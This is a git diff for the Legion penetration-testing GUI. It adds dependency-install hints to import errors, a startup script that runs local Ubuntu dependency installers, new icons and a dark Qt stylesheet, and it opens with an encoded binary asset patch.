zVro$(wWLkk=mWdm4aR_Pk%5bI{u@O_)!HKFVC}x;=)rG$D<{W8U3;8-9ykB^qeTgmAOmWka>4980lq(vb8q!SYELe=?K99oVWf%qpd`)3`|{+4YTeQ&OsahB zC6>@3m=V*EOeE^o1YGH7fh@bRQmpsu?qrV7qU zgos#XW)uq1t`=1kt4K3+j);7*UPuAZwlf1TreUwym>6&v_~TzmX5HFOi!CE@3!dnGKK^V=_P@`LH94b z@Vujw;c-AQC6P%m!f7}CV;s;ZgTh!(m@ol%!Hz^&%B9v_(wupS&h$JwTE`D#F?sT2 z9%%X*WlkDRyM^+AI8+!X>Z<6NJOj-Jc>FMb{`|BBFSg~vq~;<5=s9i(4n_&*T4x46 z?ke-OuYClc3G|WRQbPMtLoO+gxzTCP%ut3)1#qn^io}CDKLf4Qqq^rQ-cHeIIN_(ur$4VF zl?kSCTE&7!Q%piv(2#R7ypF1S9U{=T?KdthZ$vQ`1Wa;EtiuNsaH1BLY}q5lE8rAY zGsiH2TiAmy?7wz4qEm4sl{|aXWSD)Uc<~z+VC> zb`vKc6Q5Ap+7g5{q*zMg$_a1`pc8e~-qb|WniFs}Yt}4~R3&IN3BjE*ktOBDNu;h? z93EI!CG4dWF%u$Uca10NQXr@&j)XGu#aPwj#9`>I?V}tc)t8@*2B!wtS{!b>?Y383 zaRnmLMj$a*pU2M3_B(86OOm$(^%60)QIgh3DJEsaRmPt+L5Z8+2e-wg^HW9+zoKqs3dvXr7!1a&4gOHdV)!L%W0 zZKjNd(jlwDTYDK5nK>rOShq!EF<~3pW~8QdCdll)_uh1(5AlXu2|(tIO`kqpu?z+I z75>}+^uwV7kqDoEy-lnP6QPU#I zNnlALmx(L(xh23z;YO7i-Cb-bpX%xB@Fr%898$u(wy33DO9M))OFE5$zcm@DwK#6v zI2&SN-X&FYmW(ZwaTx4V-JqW9dO7{{GfsQ!!3S}Bf@|_cC7MdlRQ0%o`u4pbrX*t} zCDr8s1f&?Gi~&iX!g2c4b>vagG%fb9oS@Lk#JEf+NC@FJ9pchJ%#xBK1NqFwam=0l zuu%Yd{0jM6L3R*Ks%R7Azyl8qD2T6Hj3=KABEFRb>|@3-jehi=fJyMzdVo{7Z}?YT zEo>O3xZ=Gi<5pxBTRp&IRH`Idux%F*HM{Ee6gBO@1bNA2i=#FbQ_VY#n7eriQyj!SMhrqi)E2xV$3 z-9$7LXwR8Z%) zZ6(q8MPk-Jt72smj2=XET})UE!9X#kI_wKjK&GGrefGr?PH!9eF2Sm=)t0y8602eh zT^r?k01=|mr5GON@CWK-Mwa|4HVtTNpnM`|Wvk~IXq&qnkA~~gB2ruqY|vp?jWUCA zImss)oF?bwI}JJHVOTg$LoJX?A|*X4K$(Cx#H=3B z{$n_|jK3#k}ECQh6fZ!KJ5DRl>`PvvPq z&|hAbkHIs6nNgT1=USo%JJa4_w#NFu?cEEko=15naN9Yy6JL|~M##;_c0(woP_@94 zl#MSGk+M}uDXORfo5W3{T_{QuRS*Gi&_GLl!!ns?QiCP&gA2K-~0L8Xu{DM9gpXocjlRAp65T$JTvdS?`KPx zb&Bm%M zpgQHFV>qg72G?jb#{CDe!cYy`#Z>?zBWh978&7sNw2oAOj})Xhs|s$Q%62Gk8f{8b za;kiin*}6N+T|1*ZLF2Yo1Wch&XR)v5Uwh-C5jBgw#&#(0tKQ=f3YnbIBv zE$jy)LSjNnP8bB}a6uU)j75fGd`?xE%A*ho(A`BBU4%((nfMKN!gLwz`^JiuE%sOf z&I+&C#+{Xx(J=Kh%*arqmI2n(>0RSERwO}|1jd?32pY#uY<<}Xs)L}6gSvTUYlZ)- z>j(-2zF@kBxW)V5)oj&r!j2_LUX>v%~Wq42v zW9+`w13enb$i_KT0A>8Bm2p7+7?Vcx?z`{CQt%#Oisej6m{C?4$!yu8(V(Eyq~ci#FVei}H?tgiu=UT@dkPkd z5A{i7igjl1T6f`smRP81$N&)n(5DE})X$BLKFK3?HoC=URF{~F1S;COb0^CMLBuIY z=%e+myGpi^ZPT>MuDB@E;8R`l(HsCWmn6pZwi~B8M%<)=+kjD{(qe(El9ouPaJ6~! zW=~}iOvgR`H^b#Fe5u9vm#HrxrWnBz4wv6J<8-A*IH@f>xBAg##f%taVLvvkS^riZ z18GYRQrsun9|7DW>Y!iT2Skpu!m_B+k7z2PNUlC5}*R9AcRhrNw zQVXIr3TtT^50&u}>2LDYRai-j{P>Mzs1=NnA>O7cN##>rU3*q0R881AmG+1b57e!7 zjoRse^rqZE#rDdy{C#Z-_Ds!pt(Q&+d#1o#VoHYulIAv0i)ozz!j6Oy!#SmvX>@mB z70gg+2$PuRG5RO{Hrh8Twu;vw=(FZ$y~#40M%`wMI6)b;m@R2K%`L8S-$4Qw0)ax+HJ#w}H1~#}0b7e?n=w)zz&jY0gwk0d}90?kFLKg;*>6XPgb> z69WVc{utBuxa4{*lQX6{jRF*(itVNuhY6AiGL@sTNSRsWOsKUqX+2jjo zD1uCttFOMA4GLr^ff&fcWnvdl6rBW3ETCTS&=?M;*)8^~tn{2ZUA@{v0^QMspr^2` zJ41L&VFe^I^QD%YjT<*=F}T3YzJ2=u!R~+-0iVM_X$rtE_#{qYnQ|8`g(b+J)9vVI;EZ_CE#|x0hoK|uHYdf>dZ5%RM)~+pSiWq< zhV?$5yPm|b5mIhprT~x$Ha?avU9)c8o8NNL<4=_BcsxWtNi-&hNVWeKMSzo|bGGRW zI40h5(?XZIj{(q^>#x5)$|5TPkzjSY*wJx-8a^x_oxW8WbZ*8`u~QOJW6Dx?x|! z_m0-BU9Tb{f}HS^gf8jrscYAs`{O_U{%b$r2Wt@*@DRmG2+2u$@-aCZ#QD^u<*pAl z#^=F+f#{4AQZz+SaR^+JhIXfmeFW4Ng8-JLLEeCnz)Nh6G~u}nMp{X##)vZ0>#Iil zLr96WrCkB0^gfEE4QYA^h>BY5>DNpJ;9ZUY>@F#vwv(3WNySaK++se!v%ZjDq$nQ3 zzgq;XkE-an!h8~oPlKuPkU?1)Sv4SW#Uq6r{aJMh;pbPpej$ z=}71sH}adHupv!25<(J3jvR5a2&vlpA}bUGjarjs9WJ(aNG4$eamADu<0^6CXYo=# zkBV{tm+kfKlH!>s^^y5x&TM@J8Q<}-eqEM3qS^wSp!z35_089WFQ%GhLZ zf+4=VCNvbpNjUxDRR;E5i{VG?Zh(WUu;;EEmx2P2$Q#ke(6>-;)z!th*exLp(+h50 zVkUi|e=8ecK`jKuh@dals7)>9xmA~4b{R3s5eksUT^)%8RbZdnqdS#Yi4YOSBuTK& z#I0EIYrp>MU;WzukKJ#g3zOlqWll0d0*(^dXTbx*V7KL}tFEG7tYYSd8*Yfope_U> zftg`nZ6ZW3j7t!0FZ=E`bVvv(tRg+AB@R2Y5{F>pDtgxM-Me?&l&2!vAP+>=9C~(i5@k(u>Md(iKJ=AGJa^H@r&s_1oP=|iZ>k?Ab z74wt=)GpI4&m=gH*7SZea2h?*G^rCasoRX)zJ0q{2iZV44v$9&?%GzOtH}pMoYJ!4 zioOZhcD5B=x`0UNTNyM=C7}x~M;c?G%`&o*s_1(dNLp;O)5e$a;hBxazXCEzrj=|A zmnwd?(jSY`Gb^}MUNJ`BCeM{uUG>dxed{|u$MjU0doW-u;sIC9qIAi*;g?iZbSc4& z+`4sZ6DgC1lhWJ?C)j>`?|a{Cx{VE1UMtcG>T37!;lnf7-|yn|g_93i#=KMf!5YCt zJO%ht)yJnFVk1H_gCKS=Wt`-3y7+O*nYt@V(%L2I=*l57`$*`c97F^o4)7@8aZJO} zBoj7Dc`Rwg_EgT%2L8IE3lOdEU_uuX(TMUAfFO?kJ=io#aMebCW71UQ`He2vH8c(| zMoR96^N1+imUMk9JGYW4Ehvw&e>Si_dfRQ5m`~XJ^||$WzycfKkDquZVK1!q$2du* z;jW~UfPf#i*y5Wbf0bYGx$QwA!A$B9s^Mb zkqA);`LJ`8nI)XNv=r1!fDdsx2xdp#iw^w#Y4j@sR?#4EY$_`c3^e%IL*fV__{|6wNBI`dnjVOzhJB1V@|bZG`6LbnY5T-_VULR$Kv|AkDN|)x zjBG+d|8rMknGtnLzW9tY_TG8tH@x!ZM{J%h2O$LvSg9JCg0#3x&h+SRMhyOOWoKQl zPG6)cAVRc3>X;DoW~EI!q7Q)Xbdfr{*PlDyRQkS ztoh?;wxCl61O@~!nZTq>IV!?})}1fOa14A9Ndkvl9SE|XuC%_H^resZfm8JAKw9OJ(VLECfi^C z`plr#x_lmtfg#C+4Zy^SbU&ZT(Np6?S{b!)va0V3iDVAxwKsImLMck|7RJ@^BDaeL~5 zL+eB&03&z~!G1=G?ic}z*?HZ$b7%ZjeUImZ4W6o|4<0mjddeYL5;W>CPb#u*`m`LRA*Zo z92z2M%=@AqLJq{#K$KNH6|C`j;DrfeygZwY@>M|!0J$-aBWN7kPyjds`B%VQV@O3b z!$x}u;ZlHlhl1GsR-iHFt~8e1s=pRfoW=w>Eg`+?|Hv+uI}z zhIn%-%+&SS&wds&1NoGhzKE3vVV^PdUNHtTSarFLeoGSz6vc?Wp&n&HrW|!SwANVs zeP_t$uFu0#zzB3xMHDrbsCJ)Pz(fI?dF(I9!#hb6Qba|5F2Zci&+m#P_Gqf zO`w*Td@L;D^B~^Ko05VmrDWab2@fun6o;BJKl#d6LVcM&>m*vzH9#VnLp{UeiG>-u zpU>pLyJd&NVAxi5@7}%bVM%L9qdo#~pq`CSm&HVso+cq@_wL<3wd6bpyFaaWSGst7 zzVc~#ux+bAcD^CoEaYTe3n$D3&Cr!^f{+K%2Jf@Qe^e9=n0RdIq`3wMiej@az4X!; ztO}za@Fq|rnhsk$__;=(wGTX;O``w^BI=wW?v>7=L+;P zFKr{0kS zl;GP~w+r_7DVc_?mRm8DQ`dk913}P`z7P(}>tsWm2c!_u3OW*6*nEA(QZfL;OR!9M3=AP``M}7|0Csl!85XP0XA|%NkGFJgPC_!M@oJ z&snKJz2=M_a8{Qk%h1sZs(4hF5^ArPaDz$Z|eaH+g}>SghrM)$zk3lmfa zCSFr;3-MGB?wG$en$!KR9)(Y*oi(AZcJU(}2IN>Oc}SGCt|rooSb_8+iF&6D*4$E2 z$SuIMtift{kPx&Bo)VTj+qP}<$w#NS^};$vzl@TgRV>XTwWcxmIHcxV(*`TQC6DB^ z7>31IHHUEmt=>6uifKjnGrn#6Xi+BNki4CJdYRVudAelzeC2mxU%#;ghCFL-4~0-` zlol=Vd1xTTh@Hq*FjG^9RSklx@SE zVg+A7%UvZy7APF!&@@$JLo9Ul3zK>cdW`{0N*6)Z)=e<5&)*Mk;VQS1(@KWtmMK3u z`0+6u7}ORvdW9_QEd-cthj75(x>vtImDaLP=^Yz`kF#eO-G2M+)~NQ!n1L95v9`=E zSoIv z@7F-gf`eKqlNoll_>Y*y1n=27z&31Bl;ARK0BisyPDsAAG6`}da0~mE4%F^vZ|T-H zw};P}KT=XHFv-@x9tnC!;Y0dGIN;WZq%9mupvKy=r1`RcZZ*avlI~3?lVbQu+F2uG zQ7eXH#6l(*!;&2&dySTzPO^H#Qh9~%x#u1{>zy*G!jl1f9O4RQJ#F5&aihXePaqNz z4)^cVpZ>J7TMj!Bi$yOAS`@Ts7{wlNjnFa87(;W~=dlY&^SZ9z4!d#^Sx4}XW|(7A zCuRl2gfs*rQ@Vu|YpZpXeKLciLPZG;RzW?L!j4-((0Hlxe{ynHEvhz81O?n)iUlZJ z7O8?-D6@$gjja!ehH#!?VRJWafl?+9G&33)WiR~#CW(cU)==6Nw;rW{oKQ=Fz&QZa zoCL0LXy7u?%2>DCZ{h9eAlt3Es0`bIzYk_aUr14+rCaz^o*7`o-Nl1NtXF^}Y+>@F zcuLVJY7%6Hpg9q&w!zBR5XKVe!Vc3?_GVSlilvj4f+)M1?#}}jw zWxYcageCZL#)Mlj*@_9C%%cY8_NqB5dA}2%+G-N>Y}}qg8uj3h5NI5om>=N zda5nor?V`W)7X#UAOroTLm2< zFAsax4IHF7jeYWK=q6EubfW4HKKfC!JXeGgie0HTh+u>+j7%e6yA-G*rxGN6d~NgQ z%?)CKhD+E9_Q5B2B_OL6Xkc_VWoY}ZyY6BQS>E1Er0oCL(A93brgdXFY7g{UzFT20 zi-tf+oF>HZg}4n99q|rNV?!B%>Ev`fCNDp?f_I!t;3NiJ$*o(rnq0LdXuUz(Levp% zg|(uVlIW0C3P3A{rKya3l=0@RQRpEso1rB3QdjKKD#xqE($05U)<$0xnsy0+mPy8x zkOAs+p*6t`H{9@}|6I3gt*iG`r{8){kmUW0H~Z_(S>{ASBHbVYMk2GB$Ml98vh?7| zjuoRh#%@VqLeG>bxa2nQzD(%J2?XfJEjccu+g35dg16(CF6@VtGQoo31t9p>`Iq|+tpDyv{t{@T4C4x{x#3qs{ zN^=yEts9D9bA7ea-SMW%|0p>4ghT8p1GYF<(GIb@KDb1rUer;{CAn#ZG{oenMtek@A0x80}&&gMbiJWW;@M#SRaLM=?DW zH}i&?j%1^cnejLmSDdjq?eh>otRC@`x-_F-j^tNgm}~^X7Tglg9QC0<(g-qhRQLY( zzn^Y>K7+O;f@?UUF$(9i^Bm|?4t%`=ArLKQ5Wv2tY3TQM3Mp3mp@$x#8j8Sem^73jU86Sc(cwW=2^HxjKY0BRRU@Y3MT4T@kWflh)8F{z7ZB?NR7 zh^8&+OzxBxbwzv7LHVqwVFA$%FB0;_!J0U?lH(TDacn%`Z?gqb0pR}q`*qDze+&fd z>AOxP5jj8v#ux?%8JlAczX2m^Mgw$n_MPaq$P6cGMHh6(_+yUcge#dzq@+s;fwN?I zX+6wn*A}KnT@IbOs}=56>+GgYn+!E2V}xjjJE{ttD$L*a*w&iXOsR?>Q>-oH#w=)9 zIHBU~mMW3Ig#H=|29Te)Q9f13P1BwP%!zkby8QiMoSq|l3D_^M;MR3lGR2f*5F{}x z*bjX%1zNv>cBCE@Qdd+oI$D@RE&Wr9HX z*Hf*>fXb0hXQhKIk}-fd5;57}lU6bZAm|G(YJm)9GIrBCHlQB%8BoRC6~bx;M>0`! zdD&%`X+?|VU_^fY^Phj)+ur6(hAIlQ9#tAAzoEoLVBUU9MQS%^F#*XSOFFxa!o$Slaox6mLr~(fE2O< zY8+~SqGy7K3yPAav7pREPifNbx+MfVL6b~{1qmT)_w%gm-)lIGI zk%S?_bcT(vlo60o?s=()K_L>xkjkalcDWOlyyN8b@&NnhD!0-Lw^Ucmr8u06c}hM( z0lau%c}-M$8anRka++&%o`==3``C*v)TJyBmX+igdi{-)-a8N@H;wMuvq$XlfW@#{ z2_%rddyHkKK?H{wPzwWw(VWJ9q-fX^1~`ZbgIwju&`Zk<79#Ii!M;`~EtKs%#9wZp zpakh?KI?!WLXOaGNd!%_DnGE2_}u3{_wd6Hv;F~HE6*cNySgBe{-(3(S}#{*a__zO z+807L5SCyQQ4?DhGQpn8rO~hv;K+eKz=xoOlo2aXI#9ddmif%nE8`Ca9Uxe9$|VkZAU2^&D0_Z*p5q>nQ zFN9;r*7nPLUMN_=&xtb)vjW)JB;q73^?9!Jq};@oN&f~m93}Ah$A9K&|rGS%U}NSy7G6>(_FLZEp zs5;uF!vvR%QJKUi0Dm0&Z4fBw2hPjof(4(t`)*rw&Djr##BneNVxRTo`7(kaFQJTw zL^);Ds-rBph9x1NYw#x&Zv4T^~I2 zMW^Y10lvYcm0Cq%wUEV$J*DhBOi*0l?>*`;0Q$~cpx_VojlQI>eD}LGYVyFg;i8t| zE=UWp{wV9d1+yocWNuSvPQR}^L6HA(mpoRhH5+wah<)fG-yfzK9=@0kTW|?qaMW@t zl1e1UUBO)dNm^`@@BqjURe+3QasV)~r<8Oq^mh{qs9k<6K7(kw57{6Z5iN!wI_3rd zK{lN9VqA_YLNZe;#grGa>G-qfo#zLL|LxglJy*MY=T6jDo_Nxdg^R#H_F6?0LdPQz z(+nnYm@f48LORSKUYe_@H@5QU(o7%*=dD|}a^w)v!9X6(_&+i=VPEUQ3oj%?472-l zVxLFPURc3;!a|Fo@hJVD|M@kqeJ#B;><1}gnKTyM(P~lbc#w7%@WsM-cB#TmQbi(h z;A0tSCq2OF7X?>GCc_F5$`}W|OJx*F8#QRxl<<|We1%y|>zWQTX|6FTk)S{?KQh68 z|DAU};q8&{eeX+O{Nn4*Kc8o!4Sy$%lrQ2HdtJ#Y%t`0b18KAS>4i8Q;l0=|(1d_T z)m8QvyD!dQax2)^S=7?aI6vsfLB#$jA_hI5&9>OQzuym)8Rq~P)U*5G?<17|dFxif z4!DZ;D(Vx{LlRIRkq}HJR=#Szs2xao6i9J+05hmp#VwnTj(P<({p`1V4i6NV_qiEq zD`dqkGYGD`?m8QswlHPlA#rX^U@W(isk%g1wa;!_9|k!*AGzh0Q~XeA^@0GF-FNKR zWhmRbx82Vr15&&-e?JV1(-&uTv=vz~_p0ZwjG#)HEZnu|jlXYjm)2`Qf$2AsdGLow z_|&>rk>~XHIQvoXACtq=Cva|$KVRi|-31rKhDPDBUoB3im|7B~6X;5@@vBmRhE3V9 z4~!`seR9&B;A|N0?`BLPlrjAdm#M2F%85e?ahGw}C0u66D%KK>F$IKnnZY5)o(w7J& zYud8F$z*lW(cidvF3~sK9c0rB@)YaurcImX?S4N_W}E~2On=-ST4hFQ20G|mBB;-$ zoCd=HP#i#|a4ywKrb|1fJS7S=0z%5Ity{M`GS-Wi-cEp_OLtj7=G6!N&mfN__a z5Q6cd>=ia?%o_;#g!70oFeo5Cp8m}IB#o~+G ziWG9gJcg4ntnKOMY1-I~S2-pH#QjO=h0P)a)yhDJeF+qJ`gh)WCr?Zz0joydTshMa z3B7RQ@=U8PbR{e=Z8~QKNbmtsz~T~c0vU;-ml_(ZT%~-De`!2>!fZ{G-V%yFmwB%yvetDx!qYkwbkg~lh>|}Z zCg96u@FfmB#i}IJ_o#-jPx;^wBk1V5*G@D73;j(@GDr2^lF)<=1UGKnc;v_toB*Ib zSH~CRyIcA+Zv7c<-VVRW5J^b`r5Eh|9U(*8x;fb6_n?r9pJNzFXAn3PZKhFI;YePW zb-XCx$tSHC@K#`70|__)G4J#Ai+aX6k$2Ol&pXjJp#wq%L2+PME~;C%#;B=?Ud!awNE3Tolme z_{(XdlUo9$!D$}A0w#-3N*Ei$d^)vn-#%{)6!&Z#?Ahqgq{4nU$_eak7=>oYikqWWRB11N#R8suvOlhZ6)fzh%s^!I0u7*q z3?>N`J)|ANFGL8S0c#X)oE^7`-sW1`h!OgkL=7qhYY{)CVIVrIp(Ms+wzec>nhZS2 zA|mqP=kQ736mLWLSHL1RKffKwCyu|rdgaPDU3lRmk36DSh=jPbgiNhCQs*sIvciMI z7G6#8eTeyeo*^=y?yU*fx8dg?3djUF4g37x@{5iYAi=T%2@P%o6Hu>Mu&;n=!@dd) zck#>H0Re$Uw$L@yQoWz}@Yd6AZ>`|E0bDN-HxJ2In2`D2o95YiU=T?@o5k0+aKpA2!g3VQY;<#1dNFr=u#kMz|Cl2D$I6TWYf2oL{3d*sSu)EkxEd{JLF@OzVgnhO+b5(c? zS_krPnUaA5w(t3^-#YuuGf9u9f7O*&K78yLI{FqOq>ZNOL?Z6Lw7O!HH6cHwjvhTa zf0k{av}cw{y-nCO@aUtDIzQg9PibsD?RntotI96@xilc;8wzDK)WvXb+K9=ZDFbNS zWP=;5+1J+G5bOkQKmmHpac!skNUwxY06e~L6PzZeKW4#|PZ>?8fJAb{?z)8cHn7TU zH@-D%iTmJ#58@NIFqi;|U`tAv?2$PBAtxm*~1U`d&TI$uL?P-tO%Mq#y>b6?*+^5apH0dt@5Ac%? z-W>&S5@y-rCCisAU9q(IxiPQcW`C3phhrbgf-k!z0IL>ePN|)4_uW zqvtM`;R`cPSN!qbz2&oXi^_-C*Su(h=Ud=v^ZLjRff}q9ThC8h zcGBr*p1G#JJ*(Cj((7nW8H`H=?CvJ0YfII8;{WSYpTa<%cz5yHmG38c{aBIM&+}e+ z^>41-u+H?zYrOGy|A(BXp8md{@$&1Xe!(%n-`hn;eg>bI&od|9+Zxi>=j9gcvp9m* zP1UgPNKfzr_}N}(^sn2s>t*M>WW%XzU~S2Qg@J!CSbz_13l>76O+p2rbj89Gyh128 zO0tslogBt1OW7ekW%y{@OZtEEiBFueex2Wf_7hnPM*Irgf{~NTyTrl1F{ioZiiO{TvVDQ_-be);7G4jh1be_m+7 z#t>Eq-hylB{{Ayhefv9)|JTbdS+;Vyr@Bj*op{rSZ2+o&sU#-c@=M@LUT?KD0Nbo;9?ANvi+SWn|1cwD&@ zRu?Q=u<+z!w(H}8MT?xp^rZjr;lr?>7Q1+lhie8p_VB~k{PqV<-*`6EH~7PB+dFj1 z9`;vyIc32@1Fp25wFQS~)vAp@wxtZ68bCYPS4O}vybC6_no)*_1Rvik>e!1HnVbv-H(zfhAO`P zjc>g1=YQTKD4s)3@k0vW@L28A1>H=%zhKSMR{_9bRZF@0#uF!m=L40n`SO>&%qJFh z@7`_4PD7d#hH#FJZ~_%azWPspbjO|zXPgfH3zw81Jr7jV5Eo0s+5&vbi!h)7tgT$V z`o(9TwQTjOl#f|g0DHwLs_@5bAfFr$9=tBXRX6d7GeE^dSRHsvh5V7^j-UHEP8dlp zTd~4#wHp>ey#l3yT5=$fWX@xMh;U}(R*;xgoGJdXZ+`Qaef_`MK^kMQ0v~{q02BXl zWBkR1fFL1d%3TA6+hag*c$O@^;JowmD5oO6{6HsM9~b+&#cqNI%jlH?)_==O&t=NB zViFRgUyyEgS-b@Bjj&T!u8ITZu7RsCqi?tr#;VaTroT=?8L8qx-k45~lbT*vH!T6a zF*=!HI#B$&7lRJ_7i`;BJln)b`9+U^Ar@sHizyCk~?Va!ZiSbkIP|Wnhz6~V~4=>9iJUg%W zu`2e){i-#mmS0q??tf)=?49v2jMdtqu?>C4>%16_rR>860jx!K1ovrojh>t*r6|c;Ww|o`op*0 z`d==3^Q+H4Z}Yh?dC5<_?3J(jnN!!UWpe}kI1&MW(J++N2>_^!n{C^+<-21jqmTDI z^wGj`m%A)43>M8--+-&&4|eW8aKJj;aE$dY2L&K~!NO%Di`T4LZ7hO6eoR;EHf&hC ze*JSSWml&zcNHkMxP~}U&RqJDI-9$AOTaBAac-A!s!~Tm6?HwH-M)RhVJCR6SUx$3 zBkIT`g}a)V$9|V&W+|V5qZZnTN%H+?W|!IW`tAddJk06N-~T=G<+uLIuUI0&KIjxL zA}(`9{n+B5E)=eL-}`)>WXz=IMRPH!(R^1Af(RHvA0XAt77Hx91jQl%ciNBWBGDlImTEZnK6g4EO*0j z7oP+3(Mhm1@7Dvz5-hAwL-$#gg|2=X}}@W8C_neG_401N&u9cyq5?f(1k z_u05fcDA<|QlU1F{a&&BFw?!LPr6}W0!-+ZKjV}44gRKeXCgP)1YNc2oO92;_iz99 zyH7s_{>slhgoo_5i+x1M`OX}7D6!pqJ5o5P>kp&QgE{ao=&n8(yt|dZVBg+r*?w8L z@Mm8A>f7(Q!)B@`W-A1(sAX=;CPHSBsWwreUq;eA_NOYk$(8R#dVh`HyBPueBAIO2 zjvYI=9Qm^d@HU<=k^tjR{q#@&zr%;i(&3q>|Fx8zTCg-2d|se_Ny5nU_xJzs4;Q}a zO$EQ>d#lZ?8v{n9Sz*i{Q=*pP5rMx+EiEsQS6=zP8_3^IH1i#eP%A#}yc8 zUdljB4Q!=lb|DVrt#}c1+5j6@)?aA{e^?G1VxfY2?5$nt7<#wz7vQt_|LMH*e*X{u z(6WYk#-|=N23n$vlU870BG2adJaN^PiT^XO@bJue><^dEjPLeBJH(=Maeqi*F!WA^ zw?23p1^XjoA9IRZ?L3TGA=p=bs-d+$fdMDHtP+7VOYuwn=x1rXesrM@!7>8I!JZM2 z82lUd%TO>|oUmxub=LttYB)5cz`vKzE*^Tzbfp2-tt@v_Mta`o=@QrTnm+{l6VMkn zSzdo$$A&DYJQ;c$hK`cuftT2WTwgUPe(v#}-3;t^7w)p%2&adS9QnYt*E*_J4mylu zAG(XnU%eoi83g^X)p(WMn454Y}sZq=&I6{ zKX3QDBr{9-bi|R*2nfku&G)8r7fhhW*N@AY`m8gZV_0;8=c|Bk*JZ=Hb)FLy{Z|KR zs%-YQm~^86M1FhncW%7#w6o51%3*;~S07Qu;`8x&`V4!+ezEd3@W(PIxn&3R4|d`dn-LjdLJ3;;Au^&X=dh4y_ zP1<_CVf9JN0Kfd@c=O1}$3FHk6TML~0aKG>t0z&9Ye!#wu8W%In;p-bl;d~F!!pvn4n^|Iy8)v)+ET*kusxfQ%wlv+v77L$O$ z<^S*RdY1zh*`0@RtJbomQ}=LuKByUYyv5-utrC5}0J!)P{QYvEtXh0=K1ksALmBAl+5IjaInK^mzWf!hV8X{X z?&}_XfUjKxu{b|Yx-DHgIy&mjOB=3$U;HBOQ2h*pRf1JI?1NR?ekoJbJodZfKA-=b z1YqB;{X2i-H(70=b2SqkLT*>J)GpLTUW`4i$2Y{cWbJgJidBZLv&+t2V p@E~jc=%bJR&p-WBr%~f0;p)#n`AKIo+KwY|#o>8jj(|Sw|2yO+maG5( literal 0 HcmV?d00001 diff --git a/legion.py b/legion.py index 747b4bf4..e392714c 100644 --- a/legion.py +++ b/legion.py @@ -16,13 +16,13 @@ from sqlalchemy.orm.scoping import ScopedSession as scoped_session #import elixir except ImportError as e: - print("[-] Import failed. SQL Alchemy library not found") + print("[-] Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") exit(1) try: from PyQt4 import QtGui, QtCore except ImportError as e: - print("[-] Import failed. PyQt4 library not found") + print("[-] Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") print(e) exit(1) @@ -32,7 +32,7 @@ try: from PySide import QtWebKit except ImportError: - print("[-] Import failed. QtWebKit library not found") + print("[-] Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") exit(1) from app.logic import * @@ -81,14 +81,14 @@ def eventFilter(self, receiver, event): app = QtGui.QApplication(sys.argv) myFilter = MyEventFilter() # to capture events app.installEventFilter(myFilter) - app.setWindowIcon(QIcon('./images/icons/logo.png')) + app.setWindowIcon(QIcon('./images/icons/legion_medium.svg')) MainWindow = QtGui.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) try: - qss_file = open('./ui/legion.qss').read() + qss_file = open('./ui/darkstyle/darkstyle.qss').read() except IOError as e: print("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") exit(0) diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh index 06223d92..cd51da9c 100644 --- a/scripts/fingertool.sh +++ b/scripts/fingertool.sh @@ -27,4 +27,4 @@ for username in $(cat $WORDLIST | sort -u| uniq) fi done -echo "Finished!" \ No newline at end of file +echo "Finished!" diff --git a/startLegion.sh b/startLegion.sh new file mode 100644 index 00000000..6d5510e5 --- /dev/null +++ b/startLegion.sh @@ -0,0 +1,37 @@ +#!/bin/bash +export DISPLAY=localhost:0.0 + +if [ ! -f ".initialized" ] +then + unameOutput=`uname -a` + releaseOutput=`cat /etc/*release*` # | grep -i 'ubuntu' | wc -l + echo "First run here. Let's try to automatically install all the dependancies..." + if [[ $unameOutput == *"Microsoft"* ]] + then + echo "Detected WSL (Windows Subsystem for Linux)" + if [[ $releaseOutput == *"Ubuntu"* ]] + then + echo "Detected Ubuntu on WSL" + ./deps/ubuntu-wsl.sh + touch .initialized + else + echo "Not Ubuntu. Install deps manually for now" + touch .initialized + exit 0 + fi + else + echo "Detected Linux" + if [[ $releaseOutput == *"Ubuntu"* ]] + then + echo "Detected Ubuntu" + ./deps/ubuntu.sh + touch .initialized + else + echo "Not Ubuntu. Install deps manually for now" + touch .initialized + exit 0 + fi + fi +fi + +python3 legion.py diff --git a/ui/darkstyle/darkstyle.qss b/ui/darkstyle/darkstyle.qss new file mode 100644 index 00000000..2aaafe3c --- /dev/null +++ b/ui/darkstyle/darkstyle.qss @@ -0,0 +1,357 @@ +QTabBar::close-button { + image: url(./images/closetab-small.png); + height: 10px; + width: 10px; +} + +QTabBar::close-button:hover { + image: url(./images/closetab-hover.png); +} + +QTabBar::close-button:pressed { + image: url(./images/closetab-press.png); +} + +QToolTip{ + color:#ffffff; + background-color:palette(base); + border:1px solid palette(highlight); + border-radius:4px; +} +QStatusBar{ + background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + color:palette(mid); +} +QMenuBar{ + background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border-bottom:2px solid rgba(25,25,25,75); +} +QMenuBar::item{ + spacing:2px; + padding:3px 4px; + background:transparent; +} +QMenuBar::item:selected{ + background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(106,106,106,255),stop:1 rgba(106,106,106,75)); + border-left:1px solid rgba(106,106,106,127); + border-right:1px solid rgba(106,106,106,127); +} +QMenuBar::item:pressed{ + background-color:palette(highlight); + border-left:1px solid rgba(25,25,25,127); + border-right:1px solid rgba(25,25,25,127); +} +QMenu{ + background-color:palette(window); + border:1px solid palette(shadow); +} +QMenu::item{ + padding:3px 25px 3px 25px; + border:1px solid transparent; +} +QMenu::item:disabled{ + background-color:rgba(35,35,35,127); + color:palette(disabled); +} +QMenu::item:selected{ + border-color:rgba(147,191,236,127); + background:palette(highlight); +} +QMenu::icon:checked{ + background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); + border:1px solid palette(highlight); + border-radius:2px; +} +QMenu::separator{ + height:1px; + background:palette(alternate-base); + margin-left:5px; + margin-right:5px; +} +QMenu::indicator{ + width:18px; + height:18px; +} +QMenu::indicator:non-exclusive:checked{ + image:url(:/darkstyle/icon_checkbox_checked.png); + padding-left:2px; +} 